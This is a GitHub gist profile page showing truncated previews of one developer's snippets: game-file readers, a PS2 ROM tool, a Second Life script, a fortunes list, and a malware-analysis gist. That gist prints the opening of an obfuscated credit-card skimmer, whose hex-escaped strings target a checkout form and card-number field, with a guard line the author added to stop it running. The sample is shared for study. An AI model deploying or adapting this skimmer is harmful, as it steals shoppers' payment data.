Skip to content

Instantly share code, notes, and snippets.

View FelixWolf's full-sized avatar
💭
https://youtu.be/NvVFHIr6T9Y

Kyler "Félix" Eastridge FelixWolf

💭
https://youtu.be/NvVFHIr6T9Y
View GitHub Profile
@FelixWolf
FelixWolf / furc-fortunes.txt
Last active July 30, 2023 09:22
[%] You eat a cookie. A small note has been baked into it. It reads:
There is a fly on your nose.
For the next hour, WE will control all that you see and hear.
You plan things that you do not even attempt because of your extreme caution.
Try to value useful qualities in one who loves you.
You'll be called to a post requiring ability in handling groups of furres.
If you just try long enough and hard enough, you can always manage to boot yourself in the posterior. -- A.J. Liebling, "The Press"
Statistics means never having to say you're certain.
To err is human, to purr feline. To err is human, two curs canine. To err is human, to moo bovine.
Clothes make the furre. Naked furres have little or no influence on society. -- Mark Twain
"Someone's been mean to you! Tell me who it is, so I can punch him tastefully." -- Ralph Bakshi's Mighty Mouse
@FelixWolf
FelixWolf / ps2romfs.py
Last active July 20, 2023 19:44
PS2 ROMFS tool
#!/usr/bin/env python3
import argparse
import struct
import os
ROMHeader = b"Sony Computer Entertainment Inc\x2e\0"
ConsoleTypes = {
"C": "Retail",
"D": "Debug",
"T": "Developer",
@FelixWolf
FelixWolf / 0001-Fix-OpenSSL-V21-padding-deprecation.patch
Created July 19, 2023 18:02
Fix for OpenSSL deprecation on quickbms v0.12.0
From 2add8423816e98c76419a8aeb22b599e4f5097a1 Mon Sep 17 00:00:00 2001
From: Kyler Eastridge <felix.wolfz@gmail.com>
Date: Wed, 19 Jul 2023 14:00:35 -0400
Subject: [PATCH] Fix OpenSSL V21 padding deprecation
---
perform.c | 9 +++++++++
1 file changed, 9 insertions(+)
diff --git a/perform.c b/perform.c
#!/usr/bin/env python3
import asyncio
import math
def b95encode(i, size = None):
out = b""
while i > 0:
out = bytes([i % 95 + 32]) + out
i = i // 95
@FelixWolf
FelixWolf / original.js
Last active June 6, 2023 08:44
Malware analysis - Unobfuscated - "Credit card skimmer"
window.stop();break;return;[1!1]; //This part is not part of the code. This is only here to prevent it from being maliciously loaded.
var _0x9e62=["\x70\x61\x74\x68\x6E\x61\x6D\x65","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x2F\x70\x75\x6E\x74\x6F\x64\x65\x63\x72\x75\x7A\x2F\x63\x68\x65\x63\x6B\x6F\x75\x74\x2F\x6F\x6E\x65\x70\x61\x67\x65\x2F","\x44\x4F\x4D\x43\x6F\x6E\x74\x65\x6E\x74\x4C\x6F\x61\x64\x65\x64","\x67\x6A","\x74\x72\x75\x65","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","\x70\x61\x79\x5F\x66\x6F\x72\x6D","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","","\x72\x65\x70\x6C\x61\x63\x65","\x6C\x65\x6E\x67\x74\x68","\x30","\x63\x68\x61\x72\x41\x74","\x75\x73\x61\x65\x70\x61\x79\x5F\x63\x63\x5F\x6E\x75\x6D\x62\x65\x72","\x63\x6F\x6C\x6F\x72","\x73\x74\x79\x6C\x65","\x23\x30\x30\x30","\x73\x6F\x75\x72\x63\x65\x2D\x65\x72\x72\x6F\x72\x73","\x64\x69\x73\x70\x6C\x61\x79","\x6E\x6F\x6E\x65","\x74\x65\x78\x74\x43\x6F\x6E\x74\x65\x6E\x74","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x
//Created by Chaser Zaks
//License: Public Domain or MIT, it is up to you which you want.
//Instructions:
// 1. Make a box or sphere
// 2. Put script in box
// 3. Resize it
// 4. Take and attach to hud
integer enabled;
doLock(integer enable){
#!/usr/bin/env python3
from PIL import Image
from PIL import ImageShow
ImageShow.register(ImageShow.DisplayViewer, 0)
def lerp(a, b, p):
return a + p * (b - a)
def bilinear(a, b, c, d, x, y):
@FelixWolf
FelixWolf / mapgen.py
Last active February 25, 2023 07:17
This script will take a while to run because it has to download stuff
#!/usr/bin/env python3
#Mainland(Minus Zindra): 897 982 1130 1190
#Corsica: 1082 1101 1100 1158
#Gaeta 1: 1112 1140 1130 1155
#Gaeta 5: 1081 1160 1100 1190
#Nautilus: 1050 1108 1080 1137
#Satori: 1005 1099 1047 1134
#Heterocera: 1013 991 1036 1014
#Sansara: 974 982 1012 1038
#Bellisseria: 954 1024 977 1045
@FelixWolf
FelixWolf / ESMReader.py
Created June 28, 2020 01:17
Reads Bethesda ESM files, works with Fallout 76. Might not support previous versions of the ESM format.
#!/usr/bin/env python3
import struct
import zlib
import io
class KeyValue:
def __init__(self, keys = None, values = None):
if keys and not values or type(keys) == dict:
super().__setattr__("__data__", keys)
elif keys: